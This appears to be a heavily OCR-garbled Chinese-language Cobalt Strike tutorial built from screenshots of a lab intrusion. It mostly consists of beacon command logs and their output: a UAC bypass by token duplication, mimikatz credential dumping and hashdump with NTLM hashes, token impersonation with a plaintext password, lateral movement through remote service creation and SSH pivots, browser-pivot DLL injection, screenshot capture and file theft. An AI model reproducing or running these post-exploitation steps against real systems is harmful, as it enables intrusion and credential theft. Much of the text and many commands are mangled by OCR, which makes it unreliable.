FHEH Beacon §#z, BERXKSFRHFEA unlink [ip address]. f&5E, &
FJLUMNE—FEN (BARRIFEN) EFmEREEEI TCP Beacon,



TCP Beacon R

‘external internal ~ ‘user

10.10.10.191

Create a listener,

Name: |local - heacun'
Payload: windows/beac
Host: [172.16.30.145

Port:  [6835
K

.

EventLog X | Listeners X

name payload
local - beacon http windows/be




beacon> run whoaml /groups

fasked beacon to run: whoami /groups
[+] host called home, sent: 32 bytes
[+] received output

GROUP INFORMATION

Everyone Well -known
BUILTIN\Administrators Alias
BUILTIN\Users Alias
NT AUTHORITY\INTERACTIVI L1 -known
CONSOLE LOGON el -Known
NT AUTHORITY\Authenticated Users el -known
NT AUTHORITY\This Organization el -known
LOCAL L1 -Known
Mandatory | obel\Medium Mandatory Level Label

group

group
group
group
group
group




‘vent Log X | Listeners X | Beacon 10.10.10.191@e872 X

eacon> run whoami /groups
lasked beacon to run: whoami /groups
host called home, sent: 32 bytes
received output

ROUP INFORMATION

Interact

LR Dump Hashes
k

veryone Pivoting * | G ‘
- a olden Ticket
UILTIN\Administrators I ]

UILTIN\Users apawn Make Token

I AUTHORITY\INTERACTIVI Session [ Run Mimikatz
ONSOLE LOGON WCLL-RITUR
I AUTHORITY\Authenticated Users Well-know
I AUTHORITY\This Organization wWell-known group S-1-5-1
OCAI Well-known group S-1-2-0
andatory Label\Medium Mandatory Level Label S=1-16-

Spawn As




= B PU wBE P B O

internal - user com

10.10.10.191 jim.stevens

Elevate

Attempt to execute a listener in an eley
context.

Listener: |local - beacon tcp

— — Exploit: |uac-token-duplication
Listeners X | Beacon 10.

whoami /qroups | Launch

A

'|_Help
eacon to run: whoaml /group

led home, sent: 32 bytes

Tasked hrh-wn to run
[+] host called home, sent
#] received output

Lroup Name lype 3 Attributes

Everyone Wel Ol QUroup Mandat ip. Enabled by default.
BUTLTIN\Administrators Alias 5-1 2-544 Group used for deny only
BUILTIN\Users Alias -32-545% Mandatory group, Enabled by default,
NT AUTHORITY\INTERACTIVE Well-known group S . Mandatory group, Enabled by default,
CONSOLE LOGON Well-known group S Mandatory group, Enabled by default,
NT AUTHORITY\Authenticated Users Well-known group S Mandatory group, Enabled by default,
NT AUTHORITY\This Organization Well-known group -15 Mandatory group, Enabled by default,

LOCAL Well-known group | 1] Mandatory group, Enabled by default,
Mandatory Label\Medium Mandatory Level Label

heac on *levate vac-token-duplication local - beacon tcp
Lacked be. . L (heacon tonsbind teo (12706.08.1:9800) in a high integrity process (token
[+] host called home, siit: 281868 bytes
[+] established link to child beacon: 16.16.16,191
[+] received output
[+] Success! Started taskmgr.exe and vused its token.

[WS1] jim.stevens/G872 (x64)




jim.stevens jim.stevens *
WSl @ 6872 WS1 @ 1632

EventLog X | Listeners X | Beacon 10.10.10.191@6872 X | Be

[+] estapblished-Link-te,parent beacon: 10.10.106.191
beacon>| Llogonpasswords
lasked—oeacomr—to—Tun mimikatz's sekurlsa: : logonpasswords
[+] host called home, sent: 663122 bytes
(+] received output
ERROR kuhl m sekurlsa acquirelSA ; Handle on memory (0x000000




jim.stevens *
WSl @ 1632

jim.stevens
WS1 @ 6872

EventLog X | Listeners X | Beacon 10.10.10.191@6872 X
10.16.191

[+] established link to parent beacon: 10.
beacon> logonpasswords

lfasked beacon to run mimikatz's sekurlsa:: logonpasswords
[+] host called home, sent: 663122 bytes
[+] received output

ERROR kuhl m sekurlsa acquirelSA ; Handle on memory (0x00000

beacon> psexec psh 127.0.0.1 local - beacon tcp
. Itl'ﬁ:'u GUeacoIT o Tun w:..lmrirwn::tnunu :'-l)-.:r;ll\: 11[1 (127.0.
[+] host called home, sent: 208857 bytes
[+] received output
Started service 177ed9¢ on 127.0.0.1]
[+] established link to child beacon: 16,16,10,19]



jim.stevens jim.stevens *
ws1l @ o872 WS1 @ 1632

EventLog X | Listeners X | Beacon 10.10.10.191@6872 X | Bea

[+] established link to parent beacon: 10.10.10.19]
)eacon> Logonpasswords
lfasked beacon to run mimikatz's sekurlsa: : Llogonpasswords
[+] host called home, sent: 663122 bytes
|+] received output
RROR kuhl m sekurlsa acquirelSA ; Handle on memory (6x0000000

weacon> psexec psh 127.6.0.1 local - beacon tcp
fasked beacon to run windows/beacon_tcp/bind_tcp (127.0.0,
[+] host called home, sent: 208857 bytes
[+] received output
tarted service 1/77ed9c on 127.6.0.1
[+] established link to child beacon: 16.10,160.19]




EventLog X l Listeners X [ Beacon 10.10_.10.191@68?2 X | Be

[+] estguTished—tink—toparent beacon: 10.10.16,19]
beacon>| Logonpasswords

lasked—veacon—to—ruw mimikatz's sekurlsa: : logonpasswords «
[+] host called home, sent: 663122 bytes




P Beacon

6“3Ck5 RSPVl g LICT) p—
08 0 8= BT v Appicat
o Web Drive-by ' | MS Office Macr
" — Spear Phish Payload Gener:
q:j N oy PowerShell Web Delivery (S) | yss/cD AutoPI:

Bl

Windows Dropg
jim.stevens i Windows Execu

WSl @ 6872 Windows Exec

YR UMEINE)

EventLog X | Listeners X | Beacon 10.10.10.191@6872 x|
'1*] Tasked beacon to run: whoami /groups

[+] host called home, sent: 32 bytes

[+] received output

GROUP INFORMATION

Group Name




Windows Executable (Stagele:

jim.stevens Export a stageless Beacon as a Windows
WS1 @ 6872 executable, Use Cobalt Strike Arsenal sc:

Stage: |local - beacon tcp
= —d Proxy: :
Beacon 10.

Listeners X

icon to run: whoaml /grouj

’{lilhinllw' AER 5% Syae x64: vl Use x64 payload
nutpu

Output: \Windows Service EXE

TTON
'l Help. |

Attribi

Well-known group S-1-1-0 Mandati

lstrators ARED §=1=5=32-544 Group
Alias §=1-5-32-545 Mandat



beacon>| elevate vac-token-duplication local - beacon tcp
[asKEO DEAToN (0 Spawh winoows/peacon cop/oinatcp (127.0,

[+] host called home, sent: 281860 bytes

|+] established Link to child beacon: 10.10.10,19]

[+] received output

[+] Sucepessi-—Started—taskmgr.exe and used its token.

beacon>! ls \\MAIL\CS
Tasked beacon to List files in \\MAIL\CS

[+] host called home, sent: 87 bytes

( ould-not-apen—3MALL L 25
beacon> make token CORP\Administrator passwordl23q!
lasked beacon 1o create a token Tor CORP\Administrator

+] Impersonated CORP\)im.stevens
beacon> 1s \\MAIL\CS

lfasked beacon to list files in \\MAIL\CS
[+] host called home, sent: 87 bytes
Listing: \\MAIL\CS\

Size lype Last Modified Name [}
dir 10/25/2018 21:49:16 $Recycle.Bin
air 06/27/2018 09:55:50 Documents and Setting
dir 06/30/2018 12:08:47 Lnetpub
dir 06/27/2018 16:44:18 PerflLogs
dir 10/25/2018 20:30:17 Program Files
dir 16/25/2018 23:18:02 Program Files (x86)
dir 10/26/2018 00:39:24 ProgramData
dir D6/271/2018 09:155:52 Recovery
dir 06/30/2018 12:24:44 shared
dir 06/27/2018 13:08:41 System Volume Informa
dir 16/25/2018 21:49:03 Users
air 12/18/2018 16:49:53  Windows

j80KDb il 02/03/2018 17:45:52 bootmgr

| ¥ )il




beacons cd \\MAIL\CS$\windows\temp

cd TTHRTTS TS TWintows  temp
[+] host_called home, sent: 08 hvtes
beacon= upload /root/beaconsvc.exe
lasked beacon to upload /root/beaconsvc.exe as beaconsvc.e
[+] hgst—catited—homne;—sent T 288853 bytes
beacon> run sc \\MAIL create beaconsvc binpath= c:\windows\tem
1ASKED DEAcon 1O run: SC \\MALL Create peaconsvoe pinpatn=
[+] host called home, sent: 143 bytes
[+] received output
[SC] CreateService SUCCESS

beacon> run sc \\MAIL start beaconsvi

lasked beacon to rum: sc \\MAIL start beaconsvi
[+] host called home, sent: 103 bytes
[+] received output

SERVICE NAME: beaconsvi
TYPI t 10 WIN32 OWN PROCESS
STATI t 2 START PENDING
(NOT STOPPABLE, NOT PAUSABLE,
WIN32 EXIT CODI 1 B (Gx8)
SERVICE EXIT CODI 1 O (0x8)
CHECKPOINI 1 Oxb
WAIT HINI : Bx7de
PID t 3668
| AlS




SYSTEM *
MAIL @ 1756

jim.stevens \
WSl @ o872

jim.stevens *
WSl @ 1632

| EventLog X | Listeners X | Beacon 10.10.10.191@6872 X

[+]

received out put

SERVICE NAME: beaconsve

TYPI : 10 WIN32 OWN PROCESS
STATI t 2 START PENDING
(NOT STOPPABLE, NOT PAUSA
WIN3Z2 EXIT CODI 1 B (6x8)
SERVICE EXIT CODE : 8 (0x8)
CHECKPOINI : Ox0
WALl HINI : Ox7de
PID : 3668
FLAGS

beacon=! connect MAII

Tasked to connect to "MAIL®

host called home, sent: 75 bytes
- NET 1 T hila AP AT




L= -

s F Em W R = ) W= o m|m W

NTSCORNECTED
SYSIEM *
MALL @ 1700

AR

N

jim.stevens
WSl @ 6872

jim,.stevens *

Wsl @ 1632

EventLog X | Listeners X | Beacon 10.10.10.191@6872 x‘

WIN32 EXII
SERVICE EXIT
CHECKPOINI
WAIT HINI
PID

FLAGS

beacon> connect MAII

Tasked to connect
called home,
[+] established link
beacon> unlink 16,160,
I as Ked—to-tit-dmk
host called home,
lost Link to chil

[+] host

|+]

CODE

0 (6x0)
CODI (] (Ox08)

Bx0

Ox/7de

1668 [
to "MAIL®
sent: 75 bytes

to _child beacon: 10.10.10.5

10.5
+0-—18+10.5
B84 bytes

d beacon: 10.160,

sent



-—

SYSITEM *
pIsconnEcTERAIL @ 1756

{ 111111 ' _’ m
e T Ly
jim. stevens user
WSl @ 6872 ubuntu

Event Log X 1 Listeners X | Beacon 10.10.10.191@6872 xl

CHECKPOINI 1 Ox0

WAIT HINT ¢ Ox7de
PID : 3668
FLAGS ;

beacon> connect MAII
lasked to connect to "MAIL®
[+] host called home, sent: 75 bytes
[+] established link to child beacon: 10.10.10.5
beacon> unlink 10.10.10.5
fasked to unlink 10.10.10.5
(+] host called home, sent: 84 bytes
LofT (INK TO Child beéeacon: 109.10.18.5
beacon®> ssh 10.10.10.21 user passwordl234!
ASKEU  DEatom OSSO 10 1010 217 7277ds  usel
[+] host called home, sent: 588919 bytes




SYSTEM *
MAIL @ 1756

DISCONNECTEIL

aract
Pivoting »
Session »

IET

jim.stevens us
WSl @ 6872 ubu!




o F Ml WY B B I Em m oW

| :
’ Luser
. ubuntu

jim.stevens
WSl @ 6872

1/72.16,30,.131]

jim.stevens *

Wsl @ 1632

_EventLog X 1 Listeners X | Beacon 10.10.10. 191@55?2 X | 5¢
18.18 . 191

[1+] _established Link to |m|1 snt beacon:
ssh> connect MAII

Lasked to connect to "MAIL®
[+] host called home, sent: 15 bytes
[+] established link to child beacon: 10.10.10.5



P
FE o
q_J-‘ ‘.‘I .;_J-:

I.l'lr.*).lll. “!,I!I.

user
ubuntu

LT .

B Access
Explore »
Pivoting “ﬁ?

Spawn
jim,.stevens *

session WSl @ 1632

EventLog X

Listeners X

Beacon 10.10.10.191@6872 X




.

USEer
ubuntu

ijm.ktvvvnﬁ o e
172.16.36. 131 Yc1 B 8873 m

jim.stevens *
Wsl @ 10632

Event Log X 1 Listeners X | Beacon 10.10.10.191@6872 x‘ 55

beacon> connect MAII
Tasked to connect to "MAIL'
[+] host called home, sent: 75 bytes
[+] established Link to child beacon: 10.10.18.5
beacon> unlink 10,16,10.5
fasked to unlink 10.10.10.5
[+] host called home, sent: 84 bytes
Lost Link to child beacon: 10.10.10.5
beacon> ssh 10.10.10.21 user passwordl234!
fasked beacon to SSH to 10.10.10.21:22 as usel
[+] host called home, sent: 588919 bytes
[+] host called home, sent: 94 bytes
[+] estT@DUISHEN CINK 10 CNITO S&ssion: 10.10.10.2]
beacon= uniink 106.10.10.19]
asked—to—uirtink—16-16-16-19'
[+] host called home, sent: 132 bytes
lost Llink to child beacon: 10.10.16,19]

[WS1] jim.stevens/6872 (x04)




i )y O = WV & S M %P Ea L) O = w

session
ubuntu

DISCONNECTED

-—w

jim,.stevens *
wWs1l @ 1632

jim.stevens
wsl @ o872

/12.16.30.131]
SCONNE

EventLog X | Listeners X | Beacon 10.10.10.191@6872 )(| SSH




R e
g

—

T~

jim.stevens usel
WS1 @ 6872 ubuntu

EventLog X | Listeners X | Beacon 10.10.10.191@6872 X | S¢

[+] established link to parent beacon: 10.10.10,19]
ssh> connect MAIL
Tasked to connect to "MAIL®
[+] host called home, sent: 15 bytes
[+] established Link to child beacon: 10.10.10.5
ssh> connect WSI
Tlasked to connect to 'WS1'
[+] host called home, sent: 26 bytes
connect—to—Wol-4444—tailed— Channel open failure (adminis
ssh> connect WS1.CORP.ACME.COM
Tasked to connect to "WS1.CORP.ACME.COM®
[+] host called home, sent: 40 bytes
established link to child beacon: 10.10.10.19]

[+]

Browser Pivoting



Browser Pivot 2—MBTMFZERAFRNSE DRI Web SIERINILE
28I, Cobalt Strike SEREN 32 {i#0 64 i Internet Explorer B{CIEARSS
#&<LI Browser Pivot . NISSILCIRARSSRRAS, EUGLRTF cookie (ER, IGIIE
HTTP £1E5HF0122 i SSLIET, Browser Pivot E—FhiEid BRI
KERXBEAYTTIE.

EiGE Browser Pivot , i5i# \Zl[beacon] - > Explore - > Browser Pivot,
EEEFEND Internet Explorer #7182, EARTLURTEYS Browser Pivot fXIEAR

SaaiE - Nm O L.

Browser Pivot

PID PRID MName ser

iexplore exs CORP\Administrator
3348 3044 explorer.exe CORP\Administrator
3992 3348 iexplore.exe CORPAdmiInistrator

Proxy Server Port: El??S?

I Launch H Help l

IRENGNSFEIEHEE. A Internet Explorer LKA RIS S5 IR
Web £iF. &#HTHRARY Internet Explorer AANEII-RAER—MHIE. JIRE

Bt R™MERREFThR Internet Explore, MU EIE N FIEIT-RIABESTEIRE,

BE, AR REZMESIERS. B—1M5b, InternetExplorer11 {LIF=$]
BT EREEE g SSLARSH AR, XEATTRUA. NREEANEISEFH
SSL SIEREREIN-EHES, BBAEEHET.



BT EE Browser Pivo I EXHEIEFHY PPID {E3RARR Internet Explorer Fi
IRE#HE. 2 ppid 31A explorer.exe fF, IZHEAREFIEIR, 24 PPID 5|MA

iexplore.exe B, 1ZHIZRFIEIIR.

%8 Browser Pivo f5, # Web 52812 & AR Browser Pivot Proxy RS

g8, Browser Pivot Proxy fg55e8 2 HTTP XIEARSSES.

Connection Settings
Configure Proxies to Access the Internet
O No proxy
O Auto-detect proxy settings for this netwerk
O Use system proxy settings

@ Manual proxy configuration:

HTTP Proxy: | 54.211.201.132 IEort: | 17787 E

Use this proxy server for all protocols

£z
55 Browser Pivo f5, &alLUEBisRAFEABRAFNE. BFE, Browser Pivo
RIBRSEZSIEAEHEREA SSL FIMuGRME SSLIEH, XBETHVNESH,

Browser Pivo AIERIRSSZBRSEMINE] SSL HEIRITER GG ENRIIZIN S 2A0 ST

X, GXLEENRINENSIERES, ZRIFTLASE SSL ARIPa0uS R IERINE.
E{21F Browser Pivot (XI2iR5588 , i&7EE Beacon i=HI&+ 5N browserpivot stop

XA "Browser Pivot tab” EII-RLMELE browser pivoting {IEIRSS 28



NRFAPXAGIEEERIER, WFEEEITEN browser pivoting UIEERSS S,
Browser Pivot tab iEIN-RISET REEZINIEEE$AY browser pivoting (IR 28

R HES,

Internet Explorer FEFIEBEEITLALR WinINet B9EE, (HAFEFEBRILAGE
FALtLEE, AEEREEE cookie, SSL RIEFIRSEESMIGIE. Cobalt Strike
K9 browser pivoting THEEFIF T WinINet ERBthEIRE MHER S D IGIEFIE
FAEX—45E, 1Big¥F Cobalt Strike B9 Browser Pivoting A FANBFRY

Internet Explorer #29, AILARZIRGIXFNEIREFTIAIL.

Internet Explorer ISEFEBEEIEE— M2 /9 wininet BB, XME, HF
EFEPEILMERTE, NERFEIE cookie, ssl 2IEFIIRSZESMHILIE, Cobalt
Strike B browser pivoting FIFITiIX—/ AL, B Wininet fTE5MHEAVERY
iFERMEIR BN IIEFNEEFTIGIE, @i Cobalt Strike A9 Browser Pivoting

FAENBFH Internet Explorer H##25h, AT 3RS XFBBAYEFTIAIL,

Browser Pivoting



108.51.97.41

172,16.20,174 COPPER

whatta.hogg

108.51.97.41 172.16.48.80 WIN-MJDTGNIQOGK
Bl 108.51.97.41 192.168.2.66 bdade CLIMBER 2800
B 108.51.97.41 192.168,57.8 josh.sokol JOSHDEV 1744

Event Log X | Screenshots X | Beacon 192.168.2.66@2800 X
beacon> p 15 30
acon to sleep or 15s (300 jitter)
Led home, sent: 16 bytes
Led home ent: 12 bytes
creenshot 2676 x64 300
ked beacon to take s T3 s in 2676/x64 for next 300 seconds
t called home, sent
creenshot (672 hy Les Interact
screenshot ¢S )

hot (€ : Access ¢
screensho ( )y
screenshot m
screenshot 2 i Bivoting * | pesktop (VNC)
reenshot
: Spawn File Browser

screenshot
screenshot ( Session *

Net View
Port Scan

Process List

Sgreenshot

PID PPID Arch Name Usear

126786 2652 x64 explorer. exe PLAYLAND\bdade
1856 2676 x64 iexplore .exe PLAYLAND\bdade

3048 1856 *B6 iexplore, exe PLAYLAND\bdade ¢

S 1036] .......................................... e e A e e P R et e 1

heacon= birow rpivot 3048 x86

[*] Injecting browser pivoet DLL into 3048
[+] Browser Pivot HTTP proxy is at: S4UIGINSINIGETI0E0 |
[+] started port forward on 11371 to 127.0.0.1:11371

B,

received screenshot 1262 by




localhost, 127.0.0.1

internal =
B 10851.97.41 10.10.10.189
108.51.97.41 10.10.10.190
108.51.97.41 172.16.20.174

e Username || ]
P,
s assword | ]
jim stevens [ Login | S
bdade
| whatta hogg



Bl lusDl.Y/ /.41 iU.10.10.18%9 pm.stevens
Bl 10851.97.41 10.10.10.190 whatta.hogg

SR : whatta.hogg

108.51.97.41 172.16.48.80 rafh
Bl 108.51.97.41 192.168.2.66 bdade
B 108.51.97.41 192.168.57.8 josh.sokol

Event Log X | Screenshots X

user computer pid when 1|
jim.stevens CEOSBOX 3464 09/17 20:15:50 “[ ‘
bdade CLIMBER 2800 09/17 20:15:50
whatta.hogg wWSs2 3064 09/17 20:15:57
josh.sokol JOSHDEV 1744 09/17 20:16:00

bdade CLIMBER 2800 09/17 20:16:04
whatta.hogg COPPER 2172 09/17 20:16:07
Jim.stevens CEOSBOX 3464 09/17 20:16:13

bdade CLIMBER 2800 09/17 20:16:16
whatta.hogg wSs2 3064 09/17 20:16:22
josh.sokol JOSHDEV 1744 09/17 20:16:25

bdade MBEFR B0 09/17.20-16-29

whatta.hogg COPPER 2172

091
jim.stevens CEOSBOX 3464 09/ Access
bdade CLIMBER 2800 09/1 Explgrq b ‘



A 1lUHDL1L.97.41 172.16.20.1784 whatta.nogg

10315119?141 1?2'16 -da.ao
Bl 108.51.97.41 192.168.2.66 bdade
B 108.51.97.41 192,168.57.8 josh.sokol

Event Log X | Screenshots X | Beacon 192.168.2,66@2800 X

beacon> sleep 15 30

[*] Tasked beacon to sleep for 15s (30°% jitter)

[+] host called home, sent: 16 bytes

[+] host called home, sent: 12 bytes

beacon> screenshot 2676 x64 300

| Tasked beacon to take screenshots in 2676/x64 for next 304
| host called home, sent: 198218 bytes

| received screenshot (67266 bytes)

| received screenshot (67266 bytes)

| received screenshot (67266 h!"'tl“-.}
|
|
|
|
|

+

received screenshot (67266 bytes)
received screenshot (67258 bytes)

received screenshot (67258 bytes)
received screenshot (67258 bytes)
received screenshot (67258 bytes)

|
I
1
|
|
l
|
|
|
|

Fea weaarsr-rms 1 L o do s



108.51.97.41

08.51.97.41

10.10,10.190
172.16.20.174

whatta hogg

108.51.97.41

whatta hogg

108.51.97.41
108.51.97.41

Event Log X | Screenshots

172.16.48.80
192.168.2.66 bdade
192,168,578 josh.sokol
PID PPID Arch
2676 2652 x64
% Beacofrt 1RS5 A/ 287 H x64d

beacon> sleep 15 30

lasked beacon to sle
host called home,
host called home, se

[+]

I+]

se

ep for 15s)
“I ]!F I]I'Il'|-l~
nt: 12 bytes

beacon> screenshot

{*] Tasked beacon

{+] host called home, se
{*] enshot
nshot
'‘nshot
‘nshot
enshot
reenshot
reenshot

d
d
d
d
d
d
d

received scre

elve 5
elve
elve
eive
eive
eive

Fed e

| &( SCIed

| € SCIed

| €0 SCIe

| & =1

e

o |

beacon>

“[ OwWsel IJI.."J":FI
started port

recelved

[+ ]
[+]

7t KALL ML 1 i)

browserpivot
[*] Injecting browsei

forward on
SCI 1‘I'H‘-.||H1

2676 164 300

Proxy Server Pc{'l

: [1080)

to take screenshot:
nt: 198218 b
(6/266 hj‘tl“, I
(672606 Il',‘l!'ﬁ}
(67266 [1',‘[!“-:'
(672606 [Jj’[i“i:'
(67258 h'_|’|'t'“'1}
(67258 bytes)
(67258 bytes)

048 x806
pivot DLI
HITP proxy

into 3048
1s at;

11371 to

Ilfql-'f_'fll' ||','Tr", }

54.167.83. 168: 1080
127.0.0,1:11371




RoundCube Webmail :: Welcome to R:

)J Q RoundCube Webmail .., X \'l'

€ ) @ 192.168.1.95/roundcube,

(¥ Most Visited ¥ ﬂOI’fln:ivl Security '\Klli Linux \Klli Docs \Kali

roundcube

Froe webmail for the massos

Welcome to RoundCube Webmail

Username “

Password

| Login

RiIEEER

ERRE

HAZ View - > Credentials, 35 Cobalt Strike BYEIFEELATRE., &5

ILAEEIEHERGRING B,



ERILARAE shift FRERFRE LMEESHEERIFTIIFRE, LEBRRERbE
RN TR IEEEHEREERINCREFRIZEMR., ERSHLL

pwdump B SHEIE,

Credentials X

user password realm note
Guest 31d6cfe0d16ae... FILESERVER
SUPPORT_3889... 5ace382672979... FILESERVER
Administrator 4d714387627d0... FILESERVER

so
ha
ha
ha

[;AddEH Edit H Copy ” Remove H Help:

ERREER



OB N E=¢ 83,0 GwbD e B S

external internal - user

SYSTEM *
jsmith

i~ 192.168.2.66 owe
Bl 192.168.1.10

1921 Interact

LS Bypass UAC
Explore »
Bivoting * | Golden Titket
Spawn Make Token

sSgssion * | Run Mimikatz

Spawn As

- -

Event Log X | Beacon 192.168.2.66@3272 X | Credentials X

| user password realm

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes

[+] received password hashes

Administrator:500:aad3b435b51404eeaad3b435b514049¢e¢e:5b4c633567
Guest:501:aad3b435b51404eeaad3b435b51404¢ee:31d6cfe0d16ae931b7
Llab: 1000:aad3b435b51404eeaad3b435b51404ee :5b4c6335673a751 13ed!




2is 192.168.2.66

0000 192.168.2.66

Bl 192.168.1.10

192,168,2.66

Event Log X

Beacon 192.168.2.66@3272 X

Credentials X | Be

user

Guest
lab

Administrator

password

31d6cfe0d16ae931b73¢59d7... CLIMB
Sh4c6335673a75f13ed948e8..., CLIMB
5bdc6335673a75f13ed948e8... CLIMB




Event Log x‘ Beacon 192.168.2.66@3272 X | Credentials )-(I Beacon

2980 3876 rund 3Z2.exe X806 0 NI

080 624 mshta.exe x64 1 Pl

3140 3080 powershell.exe x64 | PL.
31148 412 conhost.exe x 64 1 PL.
3272 3140 powershell,.exe x86 I PL.
3284 412 conhost.exe UL |teract

beacon> hashdump
Explore

[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes Bivoting * | Ge
[+] received password hashes Spawn

Administrator:500:aad3b435b51404eeaad3b435b51404¢¢
Guest:501:aad3b435b51404eeaad3b435b51404¢ee: 31d6c el
Lab: 1000: aad3b435b51404eeaad3b435b51404ee :5b4c6335673a751 13

session *

beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords
[+] host called home, sent: 297554 bytes

LS A AN 1 L.ur:' Y (S AL Lo - R N S R LT Sl Gl S o L LA A BRIl L LA

Jomain 1 PLAYLAND

D 1 §-1-5-21-1875230590-875753713-3263804405- 1
msv i
[00010000] CredentialKeys
* NILM t ded4a0b3e499¢5b9c8db20802330257ce
* SHAL + 76124068849519a4350e85d07b286fdf 8415521

[00000003] Primary

* Username : jsmith

* Domain : PLAYLAND

* NTLH 1 de4a0b3e499¢5b9c8db20802330257ce

* SHAI 1 76124068849519a4350e85d07b2861TdTBcats552
tspkq
wdigest

FEIRE



ik

Cobalt Strike 3.0 FUFIBAIRSS 282 Cobalt Strike 7E2 SHARIEERY(S B HIARIES
#, Cobalt Strike f#TH Beacon BxUfadiYmit, LURIBR, IRSHEHE
RMERIF RS,

NERIEIES Cobalt Strike FI2UE, EAJLAEE Reporting -> Export Data
L. Cobalt Strike IR TRHEIESH I TSV #1 XML FEZUSLAHRIIELR,
Cobalt Strike Z iRy HEREINRER S HIESRIEZIIFTE A BRSS 23HI%L
.

Targets

#RE]LAiBIT View - > Targets 5 Cobalt Strike BB M EHITRE, KR
~ERSBIRTIUCERIINEE. EERIRERIGH ERAINE Cobalt Strike

RUEEIREL R,

Services

EBRERF, GEREEN, SAF/IEE tServices, 1XIGFJFF Cobalt Strike
BRSNS EE, X8, FEALUNEIRSS, AAERRSSECOERE, LANBIERIR
ZicR,

Credentials

#HAZl View - > Credentials, 75 Cobalt Strike BO/EIFEELHITIZH., K%

INEARSEIMERGRINS B . EeTLURME shift HRt(RE&H LASEEXHEERE



FIFPRE, LMEERIARI RN . RS RH B rRICREHZ
BOMEHR.

Maintenance

Cobalt Strike WEERIFFB#IRERMFIETE IEMNEIABRSS B2 ISR R —( ERIEdE
/73R,

SNER1EAEBFR Cobalt Strike RUEHEAREY, BFLEEIBAARSS 2R, FIBREURE/X
HRREAS. Cobalt Strike B TRZNEIIRSS 2aET B HT BlEEHE/ S0
%

INRECECEEUEERE, BELEFRSRE, HERERERRIERGEE/X
MR EN M EHERIEME, ERREIERE, BELEEARS:, FISIER
BIRREIEHE/SU4 K, Cobalt Strike FUEHEIREUS HFF A INSFIINSTTEIER
SR/ Xk,

Reporting -> Reset Data & Cobalt Strike FIEIEIEEL, TEEHZDIA

BARRSS =5,

EE TR

#H\ Cobalt Strike 99§ View->Downloads, &&FZHEINES HIETER

N, REETHH T A B MELEI-RH. FERIHFEERIARSS 25



£. BEEHFRZES, BELLGREETREN], &% Sync File 250" . &

J&. Cobalt Strike RGFTIESH T EE RS LIGIEERISUES A,

Cobalt Strike PEEN(HTH

[

beacon> sleep 5
|*] Tasked beacon to sleep for 5s
[+] host called home, sent: 16 bytes




e ) DTS W X mAFw A

external

internal =

-

Event Log X | Beacon 10.10.10.189@3464 X

-

108.51.97.41
108.51.97.41
108.51.97.41
108.51.97.41
108.51.97.41
108.51.97.41

beacon> sleep
lasked beacon to sleep for 5s

[ s

[+] host

called home,

sent

10.10.10.189
10.10.10.190

172.16.20.174

172.16.48.80
192.168.2.66
192,168.57.8

16 bytes

whatta.hi
whatta hs
raffi
bdade
josh.sokg

Prvot
Spaw

Sessi




external internal = user

108.51.97.41 10.10.10.189 jim.stevens
108.51.97.41 10.10.10.190 whatta.hogg
108.51.97.41 172.16.20.174 whatta.hogg
108.51.97 .41 172.16.48.80 raffi
108.51.97.41 192.168,2.66 bdade
108.51.97.41 192.168,57 8 josh.sokol

ik W

Event Log X | Beacon 10.10.10.189@3464 X | Files 10.10.10.189@34

III ’[C:\Users\iim.stevens\t}ocuments

D -« Name Size'
LJ My Music

My Pictures

My Videos
desktop.ini

transactions.csv

updates hta Downloag

Execute

G
G
D
r
D

Delete



beacon> downloads
[*] Downi{oAaaGs

Name Size Received Path

transactions.csv  8mb amb (29, 1%) C:\Users\jim.stevi

beacon> sleep 1

|*] Tasked beacon to sleep for 1s
[+] host called home, sent: 16 bytes
[CFOSROX1 iim.stevens /3464

beacon> sleep 1

[*] Tasked beacon to sleep for 1s
[+] host called home, sent: 16 bytes
beacon> downloads

[*] Downloads

Name Size Received Path

transactions.csv Bmb 8mb (93.0°%) Ci\Users\jim.stev




B 108.51.97.41 172.16.48.80
B 108.51.97.41 192.168.2.66
B 108.51.97.41 192.168.57.8

raffi

Lookin: [CJroot

Event Log X | Beacon 10,10.10.189@3464 X

[ applet ca
[J cobaltstrike

[ Desktop

[J Downloads

[J Malleable-C2-Profiles
[CJ PowerSploit

[ PowerTools

[CJ Public

[LJ Templates

[ Vveil-Evasion

File Name: froot

Files of Type: |All Files

SR



#A\Zl Reporting -> Export Data, LAM Cobalt Strike F & HEi#E, Cobalt
Strike ZFiRELRIEREZRING M EIRS800EUE, FHEF Cobalt Strike

AOEIEAREY RRIEUE S H TSV #1 XML AZAIS 4.

ExternalC2 (B=HHmSHIEHIS)
Cobalt Strike g95MEBarSFIfEH (External C2) EORITFHE=AFEFTH
Cobalt Strike 5& Beacon B & ZAIRESE,

B Cobalt Strike 3.6 LAk, BEFEILINEEMINERTIIIIR. 1ZRERREIAN
BERERY, BRBAIT. WHRERAEFAIIEREF.

MREIMEE=IL—T, B2 External C2 TREATE, ITNEE.

External C2 Specification

—tt “Egll” (@R

INERIIBISRLTPRYRA (MR B) 8085 =75 C2, EHJLUSREEHEEC

#8839 3-clause BSD license f

NREBSHEINER C2 e, 1BHERILLTNH, BEEMRFNFE, WNES

HHITEH.

B=RS%E

LATE5IA, EREEEINE C2 iISB=7TEMGF7I%R:


https://www.cobaltstrike.com/downloads/externalc2spec.pdf
https://opensource.org/licenses/BSD-3-Clause
https://www.cobaltstrike.com/help-externalc2

external c2 framework BFEHWFFIREREN RS, BFHEIMNDE C2 Z ik

FNRR3E8AY Python #E2E,

ExternalC2 Library HIBE-NFHRS. 8 Web APi, WebSockets f1EEE

FTHY.net FE. BFENHAE.

Tasking Office 365 for Cobalt Strike C2 F§ MWR Lab 485 . F3F Cobalt

Strike B9 Office 365 C2 RUIHICFIER.

Shared File C2 by Outflank BV. POC to use a file/share for command and

control.

File Browser

Beacon RIS E— MEREEN BB M.

i AZl[Beacon] - > Explore - > File Browser 3JHE.

IA”C:\Users
D - Name Size Modified
[l Allusers 07/13f2009 21.53:F
] Default 07/14/2008 00:17::
1] Default User 07/13f2009 21:53:°
L1 lab 07/31f2015 01:10:°
C1 Public 04/11f2011 19:24:]
L1 user 07/30f2015 22:28:"
C] user.GRANITE 07/30/2015 23:19:C
[1 whatta.hogg 07/31/2015 02:24 "
B desktop.ini 07/13/20 i
Downloat
Execute
Upload... l| Make Directory | | List Drives || Refresh l H Delete



